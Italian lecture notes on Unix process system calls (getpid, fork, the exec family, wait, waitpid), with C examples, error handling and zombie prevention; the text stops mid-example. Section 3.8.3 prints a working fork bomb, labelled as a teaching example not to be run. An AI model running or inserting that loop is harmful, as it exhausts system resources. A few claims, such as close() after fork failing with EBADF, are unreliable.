Autore: Prof. Carello Nicolò
Disclaimer: Parti del documento sono state realizzate con l’ausilio di AI generative, potrebbero pertanto contenere errori o imprecisazioni, in tal caso saranno sempre gradite ed accettate segnalaizoni all’indirizzo info@nicolocarello.it
Data: Gennaio 2026
Il presente documento costituisce un’analisi approfondita delle primitive di sistema per la gestione dei processi nell’ambiente Unix/Linux, con particolare enfasi sulle system call fork(), exec(), wait() e waitpid(). La trattazione prende avvio dall’introduzione della chiamata getpid() per l’identificazione univoca dei processi, procedendo poi con un’esplorazione sistematica dei meccanismi di creazione, sostituzione e sincronizzazione dei processi. Il documento affronta gli aspetti teorici fondamentali, la semantica operazionale, le modalità d’uso, la gestione degli errori e le implicazioni architetturali di ciascuna primitiva, fornendo un quadro completo delle tecniche di programmazione concorrente a livello di sistema operativo. Particolare attenzione viene dedicata all’analisi dei valori di ritorno, degli stati di processo, della propagazione degli errori e delle best practice per lo sviluppo di applicazioni robuste e sicure.
I sistemi operativi Unix, originariamente sviluppati presso i Bell Laboratories negli anni '70, hanno introdotto un modello di gestione dei processi che si è rivelato straordinariamente duraturo e influente. Il concetto di processo come entità fondamentale di esecuzione, dotata di proprio spazio di indirizzamento e contesto di esecuzione, rappresenta uno dei pilastri architetturali di Unix e dei suoi discendenti moderni, inclusi Linux, BSD e macOS.
La filosofia Unix si basa sul principio “do one thing and do it well”, che si riflette nella progettazione delle system call: ciascuna primitiva è volutamente semplice e focalizzata su un compito specifico, ma la loro composizione permette la costruzione di sistemi complessi e sofisticati. Le system call fork(), exec() e wait() costituiscono la triade fondamentale per la gestione dei processi, fornendo rispettivamente i meccanismi per creare nuovi processi, sostituire il codice in esecuzione e sincronizzare l’esecuzione tra processi correlati.
Nel modello Unix, un processo rappresenta un’istanza di un programma in esecuzione. Ogni processo è caratterizzato da:
Spazio di indirizzamento virtuale: un’area di memoria privata che include segmenti per il codice (text), i dati inizializzati (data), i dati non inizializzati (bss), lo heap per l’allocazione dinamica e lo stack per le variabili locali e il controllo delle chiamate a funzione.
Contesto di esecuzione: l’insieme dei registri della CPU, il program counter, lo stack pointer e altri elementi che definiscono lo stato corrente dell’esecuzione.
Risorse di sistema: file descriptor, directory di lavoro corrente, umask, signal handler, variabili d’ambiente e altre risorse gestite dal kernel.
Identificatori: process ID (PID), parent process ID (PPID), user ID (UID), group ID (GID) e altri identificatori per il controllo di accesso e la gestione.
La relazione gerarchica tra processi, organizzata in una struttura ad albero con il processo init (o systemd nei sistemi moderni) come radice, costituisce un elemento fondamentale dell’architettura Unix.
Il presente documento si propone di fornire una trattazione esaustiva e rigorosa delle system call per la gestione dei processi, con i seguenti obiettivi specifici:
Chiarezza concettuale: illustrare i principi teorici sottostanti ciascuna primitiva, includendo le motivazioni progettuali e le implicazioni architetturali.
Precisione tecnica: descrivere accuratamente la sintassi, la semantica operazionale e i comportamenti documentati e non documentati di ciascuna system call.
Applicabilità pratica: fornire esempi concreti, pattern di programmazione e best practice per l’utilizzo efficace delle primitive in contesti reali.
Consapevolezza degli errori: analizzare in dettaglio le modalità di fallimento, i codici di errore e le strategie di gestione robusta delle anomalie.
Prospettiva sistemica: contestualizzare le primitive nell’architettura complessiva del sistema operativo, evidenziando le interazioni con altri sottosistemi.
Nel sistema operativo Unix, ogni processo è identificato univocamente da un numero intero non negativo denominato Process Identifier (PID). Il PID costituisce la chiave primaria attraverso cui il kernel e i processi utente fanno riferimento a specifiche istanze di esecuzione. I PID vengono assegnati sequenzialmente dal kernel al momento della creazione di un nuovo processo, tipicamente incrementando un contatore globale (con gestione del wrap-around quando si raggiunge il valore massimo).
Il valore 0 è riservato allo scheduler del kernel, il valore 1 è assegnato al processo init (o systemd), che rappresenta l’antenato di tutti i processi utente. Il PID massimo è tipicamente configurabile tramite /proc/sys/kernel/pid_max nei sistemi Linux, con valori predefiniti che variano da 32768 a 4194304 a seconda dell’architettura e della configurazione.
La system call getpid() permette a un processo di ottenere il proprio identificatore. Il prototipo è definito nell’header <unistd.h>:
#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void);
La funzione non accetta parametri e restituisce sempre con successo il PID del processo chiamante. Il tipo pid_t, definito in <sys/types.h>, è tipicamente un alias per un intero con segno (int o long a seconda dell’architettura).
Caratteristiche salienti:
Infallibilità: getpid() non può fallire e non modifica la variabile errno. La chiamata è estremamente rapida, tipicamente implementata tramite una lettura diretta da una struttura dati del kernel o, in implementazioni moderne, tramite una cache nel processo stesso (vDSO - virtual Dynamic Shared Object).
Costanza durante il ciclo di vita: il PID di un processo rimane invariato per tutta la durata della sua esecuzione, dall’invocazione di fork() fino alla terminazione.
Riutilizzo: dopo la terminazione di un processo e la rimozione della sua entry dalla tabella dei processi, il PID può essere riassegnato a un nuovo processo. Questo comportamento richiede cautela nella memorizzazione prolungata dei PID.
Complementare a getpid(), la system call getppid() restituisce il PID del processo padre (parent):
#include <sys/types.h>
#include <unistd.h>
pid_t getppid(void);
Anche questa funzione è infallibile e non modifica errno. Il PPID è particolarmente rilevante per comprendere la gerarchia dei processi. Quando un processo padre termina prima del figlio, il kernel riassegna la paternità del figlio al processo init (PID 1), che assume il ruolo di “raccoglitore” dei processi orfani. Questo meccanismo previene la perdita di controllo sui processi e garantisce che tutti i processi terminati vengano eventualmente raccolti tramite wait().
Gli identificatori di processo trovano impiego in numerosi scenari:
2.4.1 Distinzione tra Padre e Figlio dopo fork
Dopo una fork(), il valore di ritorno permette di distinguere il processo padre dal figlio, ma spesso è necessario memorizzare o comunicare i PID:
pid_t pid = fork();
if (pid == 0) {
// Processo figlio
printf("Figlio: il mio PID è %d, mio padre è %d\n",
getpid(), getppid());
} else if (pid > 0) {
// Processo padre
printf("Padre: il mio PID è %d, ho creato il figlio %d\n",
getpid(), pid);
}
2.4.2 Generazione di Nomi Univoci
I PID vengono frequentemente utilizzati per generare nomi di file temporanei univoci:
char filename[256];
snprintf(filename, sizeof(filename), "/tmp/myapp_%d.tmp", getpid());
2.4.3 Logging e Debugging
L’inclusione del PID nei messaggi di log facilita la tracciabilità in sistemi con processi multipli:
fprintf(stderr, "[%d] Errore: impossibile aprire il file\n", getpid());
2.4.4 Invio di Segnali
Le system call kill() e killpg() utilizzano i PID per indirizzare i segnali:
kill(pid, SIGTERM); // Invia SIGTERM al processo con PID specificato
2.4.5 Sincronizzazione e IPC
I PID sono utilizzati in meccanismi di Inter-Process Communication come le code di messaggi, i semafori e la memoria condivisa per identificare i partecipanti alla comunicazione.
La system call fork() rappresenta il meccanismo primario per la creazione di nuovi processi in ambiente Unix. Il termine “fork” (biforcazione) riflette accuratamente il comportamento della chiamata: da un singolo flusso di esecuzione se ne originano due, procedendo in parallelo (o in pseudo-parallelismo su sistemi monoprocessore).
Il modello concettuale sottostante è quello della duplicazione: il processo figlio viene creato come una copia quasi esatta del processo padre al momento della chiamata. Questa scelta progettuale, apparentemente inefficiente, si rivela estremamente potente per la sua semplicità e predicibilità. La duplicazione garantisce che il figlio inizi l’esecuzione in uno stato completamente noto e controllato, eliminando ambiguità e semplificando la programmazione.
Il prototipo della fork() è definito in <unistd.h>:
#include <sys/types.h>
#include <unistd.h>
pid_t fork(void);
La funzione non accetta parametri. Il valore di ritorno è di tipo pid_t e ha una semantica particolare che richiede attenzione:
fork() restituisce il PID del processo figlio appena creato (valore positivo).fork() restituisce 0.fork() restituisce -1 e imposta errno appropriatamente.L’esecuzione di fork() comporta le seguenti operazioni da parte del kernel:
Allocazione di una nuova entry nella tabella dei processi: il kernel crea una nuova struttura task_struct (in Linux) o equivalente, assegnando un PID univoco.
Duplicazione dello spazio di indirizzamento: concettualmente, il kernel crea una copia dello spazio di indirizzamento virtuale del padre. In pratica, grazie al meccanismo Copy-on-Write (discusso in seguito), le pagine fisiche vengono inizialmente condivise.
Copia del contesto di esecuzione: i registri della CPU, inclusi program counter e stack pointer, vengono duplicati. Questo assicura che il figlio riprenda l’esecuzione immediatamente dopo la fork().
Duplicazione delle risorse: molte risorse del padre vengono condivise o copiate nel figlio (dettagli nella sezione 3.6).
Scheduling: il processo figlio viene inserito nella coda dei processi pronti. La decisione su quale processo (padre o figlio) venga schedulizzato per primo dipende dalla politica di scheduling del kernel.
La gestione dei valori di ritorno della fork() costituisce un pattern idiomatico fondamentale:
pid_t pid = fork();
if (pid < 0) {
// Errore: fork() ha fallito
perror("fork");
exit(EXIT_FAILURE);
} else if (pid == 0) {
// Codice eseguito solo dal processo figlio
printf("Sono il figlio, PID=%d, PPID=%d\n", getpid(), getppid());
// ... operazioni del figlio ...
} else {
// Codice eseguito solo dal processo padre
// pid contiene il PID del figlio
printf("Sono il padre, PID=%d, ho creato il figlio %d\n",
getpid(), pid);
// ... operazioni del padre ...
}
È fondamentale comprendere che il controllo ritorna dalla fork() in entrambi i processi. La differenza nel valore di ritorno è l’unico meccanismo per distinguere padre e figlio. Questo comportamento, inizialmente controintuitivo, permette una grande flessibilità nella programmazione.
La duplicazione completa dello spazio di indirizzamento sarebbe estremamente inefficiente, specialmente per processi con grandi aree di memoria. I kernel moderni implementano il meccanismo Copy-on-Write (COW) per ottimizzare la fork():
Principio di funzionamento:
fork(), le pagine di memoria vengono marcate come read-only sia nel padre che nel figlio.Vantaggi del COW:
fork() diventa un’operazione molto rapida, con overhead costante indipendente dalla dimensione dello spazio di indirizzamento.fork() rimangono condivise.exec(), la maggior parte delle pagine non viene mai copiata.Implicazioni per il programmatore:
Il meccanismo COW è trasparente per i programmi user-space. Tuttavia, la consapevolezza della sua esistenza può influenzare le decisioni progettuali, ad esempio evitando operazioni di scrittura massiva subito dopo la fork() se non strettamente necessarie.
Il processo figlio eredita numerose risorse e proprietà dal padre. La comprensione precisa di cosa viene condiviso e cosa viene duplicato è essenziale per evitare comportamenti inattesi.
3.6.1 Risorse Duplicate (Copiate)
sigprocmask().rlimit.environ.3.6.2 Risorse Condivise
3.6.3 Risorse Azzerate o Modificate nel Figlio
fcntl() non vengono ereditati.alarm() e timer vengono azzerati.Esempio pratico: condivisione dei file descriptor
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int fd = open("test.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
return 1;
}
pid_t pid = fork();
if (pid == 0) {
// Figlio scrive
write(fd, "Figlio\n", 7);
close(fd);
} else {
// Padre scrive
write(fd, "Padre\n", 6);
close(fd);
wait(NULL);
}
return 0;
}
In questo esempio, padre e figlio scrivono sullo stesso file. L’ordine delle scritture dipende dallo scheduling, ma entrambe vengono correttamente accodate poiché condividono la stessa entry nella tabella dei file aperti.
La fork() può fallire in diverse circostanze. I principali codici di errore sono:
EAGAIN: il sistema ha raggiunto il limite massimo di processi. Questo può essere dovuto a:
RLIMIT_NPROC)./proc/sys/kernel/pid_max o /proc/sys/kernel/threads-max).ENOMEM: memoria insufficiente per allocare le strutture dati del kernel necessarie per il nuovo processo.
ENOSYS: la fork() non è implementata (estremamente raro nei sistemi moderni).
Gestione robusta:
pid_t pid = fork();
if (pid < 0) {
// Analisi specifica dell'errore
switch (errno) {
case EAGAIN:
fprintf(stderr, "Limite di processi raggiunto\n");
// Possibile retry con backoff o terminazione
break;
case ENOMEM:
fprintf(stderr, "Memoria insufficiente\n");
// Liberare risorse o terminare
break;
default:
perror("fork");
break;
}
exit(EXIT_FAILURE);
}
3.8.1 Creazione di un Singolo Figlio
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
int main() {
pid_t pid;
int status;
printf("Padre (PID=%d) sta per fare fork\n", getpid());
pid = fork();
if (pid < 0) {
perror("fork failed");
exit(EXIT_FAILURE);
} else if (pid == 0) {
// Processo figlio
printf("Figlio (PID=%d, PPID=%d) inizia esecuzione\n",
getpid(), getppid());
sleep(2);
printf("Figlio (PID=%d) termina\n", getpid());
exit(42); // Codice di uscita arbitrario
} else {
// Processo padre
printf("Padre (PID=%d) ha creato figlio (PID=%d)\n",
getpid(), pid);
printf("Padre attende la terminazione del figlio...\n");
pid_t terminated_pid = wait(&status);
printf("Padre: il figlio (PID=%d) è terminato\n", terminated_pid);
if (WIFEXITED(status)) {
printf("Codice di uscita: %d\n", WEXITSTATUS(status));
}
}
return 0;
}
3.8.2 Creazione di Processi Multipli
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#define NUM_CHILDREN 5
int main() {
pid_t pids[NUM_CHILDREN];
int i;
// Creazione dei figli
for (i = 0; i < NUM_CHILDREN; i++) {
pids[i] = fork();
if (pids[i] < 0) {
perror("fork");
exit(EXIT_FAILURE);
} else if (pids[i] == 0) {
// Codice del figlio
printf("Figlio %d (PID=%d) inizia\n", i, getpid());
sleep(i + 1); // Tempi di esecuzione diversi
printf("Figlio %d (PID=%d) termina\n", i, getpid());
exit(i); // Ogni figlio ritorna il proprio indice
}
// Il padre continua il ciclo per creare il prossimo figlio
}
// Codice del padre: attende tutti i figli
printf("Padre: tutti i %d figli sono stati creati\n", NUM_CHILDREN);
for (i = 0; i < NUM_CHILDREN; i++) {
int status;
pid_t pid = wait(&status);
if (pid > 0 && WIFEXITED(status)) {
printf("Padre: figlio PID=%d terminato con codice %d\n",
pid, WEXITSTATUS(status));
}
}
printf("Padre: tutti i figli sono terminati\n");
return 0;
}
3.8.3 Fork Bomb (esempio didattico - NON ESEGUIRE)
Un esempio di uso improprio della fork() è la cosiddetta “fork bomb”:
// ATTENZIONE: NON ESEGUIRE QUESTO CODICE
// Questo programma può rendere il sistema inutilizzabile
int main() {
while(1) {
fork();
}
}
Questo codice crea processi in modo esponenziale, saturando rapidamente le risorse di sistema. È un esempio classico di denial-of-service locale e illustra l’importanza dei limiti di sistema (ulimit -u).
3.9.1 Perdita di Traccia del Flusso di Esecuzione
Un errore comune è dimenticare che dopo la fork() entrambi i processi eseguono il codice successivo:
// ERRATO
fork();
printf("Questo viene stampato due volte!\n");
Correzione: utilizzare sempre la condizione sul valore di ritorno.
3.9.2 Chiusura Impropria dei File Descriptor
Poiché i descriptor sono condivisi, la chiusura deve essere gestita con attenzione:
int fd = open("file.txt", O_RDONLY);
fork();
close(fd); // PROBLEMA: entrambi chiudono lo stesso descriptor
// Il secondo close può fallire con EBADF
3.9.3 Sincronizzazione Insufficiente
Senza adeguata sincronizzazione (tramite wait() o altri meccanismi), l’ordine di esecuzione è non deterministico, causando potenziali race condition.
3.9.4 Gestione della Memoria in Programmi Multithreaded
La fork() duplica solo il thread chiamante. In programmi multithreaded, questo può causare stati inconsistenti (lock acquisiti da thread che non esistono più nel figlio). POSIX definisce pthread_atfork() per gestire questi casi.
Le funzioni della famiglia exec permettono di sostituire l’immagine del processo corrente con un nuovo programma. A differenza della fork(), che crea un nuovo processo, exec() trasforma il processo esistente caricando ed eseguendo un diverso eseguibile.
Caratteristiche salienti:
Sostituzione completa: il codice, i dati, lo stack e lo heap del processo vengono sostituiti con quelli del nuovo programma.
Preservazione del PID: il processo mantiene lo stesso identificatore, PPID e la maggior parte delle proprietà non legate al codice eseguibile.
Punto di non ritorno: se exec() ha successo, non ritorna mai al chiamante, poiché il codice originale è stato sostituito. Il ritorno di una funzione exec() è quindi sempre sinonimo di errore.
Sostituzione dell’entry point: l’esecuzione del nuovo programma inizia dalla sua funzione main().
POSIX definisce diverse varianti di exec, ognuna con convenzioni differenti per specificare il programma da eseguire, gli argomenti e l’ambiente. Tutte le varianti sono wrapper intorno alla system call execve() del kernel.
Le funzioni si distinguono per:
Panoramica delle varianti:
#include <unistd.h>
int execl(const char *pathname, const char *arg, ..., (char *) NULL);
int execlp(const char *file, const char *arg, ..., (char *) NULL);
int execle(const char *pathname, const char *arg, ...,
(char *) NULL, char *const envp[]);
int execv(const char *pathname, char *const argv[]);
int execvp(const char *file, char *const argv[]);
int execvpe(const char *file, char *const argv[], char *const envp[]);
Convenzionasuffissi:
execl (exec with list)
int execl(const char *pathname, const char *arg, ..., (char *) NULL);
Esegue il programma specificato da pathname (percorso assoluto o relativo). Gli argomenti vengono passati come lista variabile, che deve terminare con un puntatore NULL esplicito.
Esempio:
execl("/bin/ls", "ls", "-l", "-a", (char *) NULL);
// Equivalente a eseguire: /bin/ls -l -a
Note importanti:
pathname convenzionalmente è il nome del programma (argv[0]).(char *) NULL è tecnicamente necessario per garantire il tipo corretto in architetture con puntatori di dimensioni diverse dagli interi.execlp (exec with list and path search)
int execlp(const char *file, const char *arg, ..., (char *) NULL);
Simile a execl, ma se file non contiene ‘/’, viene cercato nelle directory specificate dalla variabile d’ambiente PATH.
Esempio:
execlp("ls", "ls", "-l", (char *) NULL);
// Cerca 'ls' nel PATH
int execle(const char *pathname, const char *arg, ...,
(char *) NULL, char *const envp[]);
Estende execl permettendo di specificare un ambiente personalizzato tramite l’array envp.
Esempio:
char *env[] = {
"USER=testuser",
"PATH=/usr/bin:/bin",
"HOME=/home/testuser",
NULL
};
execle("/bin/printenv", "printenv", (char *) NULL, env);
Il nuovo programma riceverà solo le variabili d’ambiente specificate in env, non quelle del processo corrente.
execv (exec with vector)
int execv(const char *pathname, char *const argv[]);
Gli argomenti sono passati come array di puntatori a stringhe, terminato da NULL.
Esempio:
char *args[] = {
"ls",
"-l",
"-a",
NULL
};
execv("/bin/ls", args);
Questa forma è particolarmente utile quando il numero di argomenti è dinamico.
execvp (exec with vector and path)
int execvp(const char *file, char *const argv[]);
Combina execv con la ricerca nel PATH.
execvpe (exec with vector, path and environment)
int execvpe(const char *file, char *const argv[], char *const envp[]);
Aggiunge la specifica dell’ambiente a execvp. Questa funzione è una estensione GNU, non standard POSIX.
| Funzione | Argomenti | Path Search | Ambiente |
|---|---|---|---|
| execl | lista | no | ereditato |
| execlp | lista | sì | ereditato |
| execle | lista | no | esplicito |
| execv | array | no | ereditato |
| execvp | array | sì | ereditato |
| execvpe | array | sì | esplicito |
Criteri di scelta:
Se exec() ha successo, la chiamata non ritorna mai. Il processo corrente viene completamente trasformato:
Cosa viene sostituito:
Cosa viene preservato:
Gestione dei file descriptor:
Per default, i file descriptor rimangono aperti dopo exec(). Questo comportamento è fondamentale per la redirezione dell’I/O:
// Prima di exec, redirigiamo stdout su un file
int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
dup2(fd, STDOUT_FILENO);
close(fd);
execlp("ls", "ls", "-l", (char *) NULL);
// ls scriverà su output.txt
Per chiudere automaticamente un descriptor all’exec(), si usa il flag FD_CLOEXEC:
int fd = open("file.txt", O_RDONLY);
int flags = fcntl(fd, F_GETFD);
fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
// fd sarà chiuso automaticamente alla exec()
In alternativa, si può usare O_CLOEXEC direttamente in open():
int fd = open("file.txt", O_RDONLY | O_CLOEXEC);
Signal handler:
I segnali catturati (con handler personalizzati) vengono ripristinati al comportamento di default. I segnali ignorati rimangono ignorati. Questo comportamento previene che il nuovo programma inizi con handler imprevisti.
Poiché exec() sostituisce il processo, il ritorno della funzione è sempre indicativo di errore. I principali codici di errore sono:
E2BIG: la lista totale di argomenti e ambiente eccede il limite di sistema (tipicamente ARG_MAX, spesso 128KB o 2MB).
EACCES:
noexecENOENT: il file specificato non esiste.
ENOEXEC: il file è in un formato non riconosciuto come eseguibile.
ENOMEM: memoria insufficiente per caricare il nuovo programma.
ETXTBSY: il file eseguibile è aperto in scrittura da un altro processo.
Gestione robusta:
execv("/bin/ls", args);
// Se arriviamo qui, exec ha fallito
perror("exec failed");
exit(EXIT_FAILURE); // Importante: terminare il processo
È cruciale terminare il processo dopo un exec() fallito, specialmente dopo una fork(), per evitare che il figlio continui con il codice del padre.
4.9.1 Bit setuid e setgid
Se l’eseguibile ha il bit setuid impostato e appartiene a root, il processo acquisisce privilegi elevati:
# Impostazione del bit setuid (richiede root)
chmod u+s /path/to/program
Dopo exec(), l’UID effettivo diventa quello del proprietario del file. Questo meccanismo è alla base di programmi come passwd e sudo.
Implicazioni di sicurezza:
4.9.2 Variabili d’ambiente e sicurezza
Variabili come LD_LIBRARY_PATH e LD_PRELOAD influenzano il caricamento delle librerie. In programmi setuid/setgid, il loader dinamico ignora queste variabili per prevenire exploit.
4.10.1 Pattern Fork-Exec Semplice
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main() {
pid_t pid = fork();
if (pid < 0) {
perror("fork");
exit(EXIT_FAILURE);
} else if (pid == 0) {
// Processo figlio: esegue un nuovo programma
printf("Figlio: eseguo ls\n");
execlp("ls", "ls", "-l", (char *) NULL);
// Se arriviamo qui, exec è fallita
perror("exec");
exit(EXIT_FAILURE);
} else {
// Processo padre: attende il figlio
int status;
waitpid(pid, &status, 0);
if (WIFEXITED(status)) {
printf("Padre: figlio terminato con codice %d\n",
WEXITSTATUS(status));
}
}
return 0;
}
4.10.2 Esecuzione con Ambiente Personalizzato
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *env[] = {
"CUSTOM_VAR=CustomValue",
"PATH=/usr/bin:/bin",
"USER=testuser",
NULL
};
pid_t pid = fork();
if (pid == 0) {
execle("/usr/bin/printenv", "printenv", (char *) NULL, env);
perror("execle");
exit(EXIT_FAILURE);
} else if (pid > 0) {
wait(NULL);
}
return 0;
}
4.10.3 Costruzione Dinamica degli Argomenti
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Uso: %s <directory>\n", argv[0]);
exit(EXIT_FAILURE);
}
// Costruzione dinamica dell'array di argomenti
char *args[10];
int i = 0;
args[i++] = "ls";
args[i++] = "-l";
args[i++] = "-h";
args[i++] = argv[1]; // Directory passata come argomento
args[i] = NULL;
pid_t pid = fork();
if (pid == 0) {
execvp("ls", args);
perror("execvp");
exit(EXIT_FAILURE);
} else if (pid > 0) {
wait(NULL);
}
return 0;
}
4.10.4 Redirezione dell’Output
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
int main() {
pid_t pid = fork();
if (pid == 0) {
// Redirigi stdout su un file
int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
exit(EXIT_FAILURE);
}
// Duplica fd su STDOUT_FILENO (1)
if (dup2(fd, STDOUT_FILENO) < 0) {
perror("dup2");
exit(EXIT_FAILURE);
}
close(fd); // Chiudi il descriptor originale
// Esegui ls, che scriverà su output.txt
execlp("ls", "ls", "-l", (char *) NULL);
perror("exec");
exit(EXIT_FAILURE);
} else if (pid > 0) {
wait(NULL);
printf("Output di ls salvato in output.txt\n");
}
return 0;
}
Dopo una fork(), padre e figlio procedono in modo asincrono, eventualmente su CPU diverse. Frequentemente, il padre necessita di conoscere quando e come il figlio termina. I problemi che emergono senza sincronizzazione includono:
Processi zombie: se il figlio termina prima che il padre invochi wait(), il processo diventa uno zombie, mantenendo un’entry nella tabella dei processi.
Perdita di informazioni: senza wait(), il codice di uscita del figlio viene perduto.
Race condition: il padre potrebbe procedere con operazioni che dipendono dal completamento del figlio.
Gestione delle risorse: senza sincronizzazione, è difficile garantire la pulizia ordinata delle risorse.
Le system call wait() e waitpid() risolvono questi problemi permettendo al padre di sospendersi fino alla terminazione del figlio e di recuperare informazioni sul suo stato di uscita.
Un processo può terminare in diversi modi:
5.2.1 Terminazione Normale
exit(valore_ritornato)exit(0))5.2.2 Terminazione Anomala
abort(), che genera SIGABRT5.2.3 Sospensione (Non Terminazione)
Il parametro status passato a wait() e waitpid() codifica informazioni su quale di questi eventi si è verificato.
Prototipo:
#include <sys/types.h>
#include <sys/wait.h>
pid_t wait(int *status);
Semantica:
*status (se status non è NULL).Valori di ritorno:
errno)Codici di errore:
Esempio base:
int status;
pid_t pid = wait(&status);
if (pid > 0) {
printf("Processo figlio %d terminato\n", pid);
} else if (pid == -1) {
perror("wait");
}
Limitazioni di wait():
Queste limitazioni hanno portato allo sviluppo di waitpid().
Prototipo:
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
waitpid() estende wait() con controllo preciso su quale processo attendere e con opzioni per comportamento non-bloccante.
Parametro pid:
Il comportamento varia in base al valore di pid:
wait())abs(pid)Parametro status:
Come per wait(), può essere NULL se non interessa lo stato, altrimenti punta a un intero dove verranno memorizzate le informazioni.
Parametro options:
Un OR bit-a-bit di flag:
Valori di ritorno:
errno)Esempio: attesa di un figlio specifico:
pid_t child_pid = fork();
if (child_pid == 0) {
// Codice del figlio
sleep(2);
exit(42);
} else {
int status;
printf("Padre attende figlio %d...\n", child_pid);
pid_t result = waitpid(child_pid, &status, 0);
if (result == child_pid) {
printf("Figlio %d terminato\n", result);
}
}
Esempio: polling non-bloccante:
pid_t child_pid = fork();
if (child_pid == 0) {
sleep(5);
exit(0);
} else {
int status;
pid_t result;
// Polling periodico
do {
result = waitpid(child_pid, &status, WNOHANG);
if (result == 0) {
printf("Figlio ancora in esecuzione...\n");
sleep(1);
}
} while (result == 0);
if (result == child_pid) {
printf("Figlio terminato!\n");
}
}
Il valore status restituito da wait() e waitpid() è un intero che codifica diverse informazioni. POSIX definisce macro per estrarre queste informazioni in modo portabile:
WIFEXITED(status):
Restituisce vero (non-zero) se il figlio è terminato normalmente (via exit() o return da main).
if (WIFEXITED(status)) {
printf("Terminazione normale\n");
}
WEXITSTATUS(status):
Se WIFEXITED è vero, estrae il codice di uscita (byte meno significativo del valore passato a exit()).
if (WIFEXITED(status)) {
int exit_code = WEXITSTATUS(status);
printf("Codice di uscita: %d\n", exit_code);
}
WIFSIGNALED(status):
Restituisce vero se il figlio è terminato a causa di un segnale non catturato.
if (WIFSIGNALED(status)) {
printf("Terminato da segnale\n");
}
WTERMSIG(status):
Se WIFSIGNALED è vero, restituisce il numero del segnale che ha causato la terminazione.
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
printf("Terminato da segnale %d (%s)\n", sig, strsignal(sig));
}
WCOREDUMP(status):
Restituisce vero se il processo ha generato un core dump (non POSIX, disponibile su molti sistemi Unix).
if (WIFSIGNALED(status) && WCOREDUMP(status)) {
printf("Core dump generato\n");
}
WIFSTOPPED(status):
Restituisce vero se il figlio è stato fermato (non terminato) da un segnale. Richiede l’opzione WUNTRACED in waitpid().
if (WIFSTOPPED(status)) {
printf("Processo fermato\n");
}
WSTOPSIG(status):
Se WIFSTOPPED è vero, restituisce il numero del segnale che ha fermato il processo.
if (WIFSTOPPED(status)) {
int sig = WSTOPSIG(status);
printf("Fermato da segnale %d\n", sig);
}
WIFCONTINUED(status):
Restituisce vero se il figlio è stato riavviato da SIGCONT. Richiede l’opzione WCONTINUED in waitpid().
if (WIFCONTINUED(status)) {
printf("Processo riavviato\n");
}
Esempio completo di analisi dello status:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
void analyze_status(int status) {
if (WIFEXITED(status)) {
printf("Terminazione normale, exit status = %d\n",
WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
printf("Terminato da segnale %d (%s)",
WTERMSIG(status), strsignal(WTERMSIG(status)));
#ifdef WCOREDUMP
if (WCOREDUMP(status)) {
printf(" - core dump generato");
}
#endif
printf("\n");
} else if (WIFSTOPPED(status)) {
printf("Fermato da segnale %d (%s)\n",
WSTOPSIG(status), strsignal(WSTOPSIG(status)));
} else if (WIFCONTINUED(status)) {
printf("Processo riavviato\n");
}
}
int main() {
pid_t pid = fork();
if (pid == 0) {
// Figlio: diverse possibilità di terminazione
// 1. Terminazione normale:
// exit(42);
// 2. Terminazione da segnale:
// raise(SIGTERM);
// 3. Segmentation fault:
// int *p = NULL; *p = 0;
// Per questo esempio, terminazione normale:
exit(42);
} else {
int status;
waitpid(pid, &status, 0);
analyze_status(status);
}
return 0;
}
5.6.1 Combinazione di Opzioni
Le opzioni possono essere combinate con OR bit-a-bit:
int status;
pid_t result = waitpid(-1, &status, WNOHANG | WUNTRACED | WCONTINUED);
Questo attende qualsiasi figlio, senza bloccare, e ritorna anche per figli fermati o riavviati.
5.6.2 Monitoraggio di Job Control
In shell interattive, WUNTRACED e WCONTINUED permettono di implementare job control:
while (1) {
int status;
pid_t pid = waitpid(-1, &status, WUNTRACED | WCONTINUED);
if (pid < 0) {
if (errno == ECHILD) {
break; // Nessun figlio rimanente
}
perror("waitpid");
break;
}
printf("PID %d: ", pid);
if (WIFEXITED(status)) {
printf("exited with %d\n", WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
printf("killed by signal %d\n", WTERMSIG(status));
} else if (WIFSTOPPED(status)) {
printf("stopped by signal %d\n", WSTOPSIG(status));
} else if (WIFCONTINUED(status)) {
printf("continued\n");
}
}
5.7.1 Processi Zombie
Quando un processo termina, non viene immediatamente rimosso dal sistema. Il kernel mantiene alcune informazioni (PID, codice di uscita, statistiche sull’uso delle risorse) finché il padre non invoca wait() o waitpid(). In questo stato intermedio, il processo è detto zombie (o defunto).
Uno zombie non consuma risorse significative (nessuna memoria, nessun tempo di CPU), ma occupa una entry nella tabella dei processi. Troppi zombie possono esaurire lo spazio disponibile per nuovi processi.
Identificazione: in ps, gli zombie sono marcati con stato Z o <defunct>.
$ ps aux | grep Z
user 12345 0.0 0.0 0 0 ? Z 10:30 0:00 [defunct]
Prevenzione:
while (1) {
pid_t pid = waitpid(-1, NULL, WNOHANG);
if (pid <= 0) break;
}
SIGCHLD su SIG_IGN causa la rimozione automatica degli zombie.signal(SIGCHLD, SIG_IGN);
Questo comportamento non è universalmente portabile (POSIX permette ma non richiede questa semantica).
wait().void sigchld_handler(int sig) {
while (waitpid(-1, NULL, WNOHANG) > 0) {
// Raccolta di tutti i figli terminati
}
}
int main() {
struct sigaction sa;
sa.sa_handler = sigchld_handler;
sigemptyset(&sa.sa_mask);
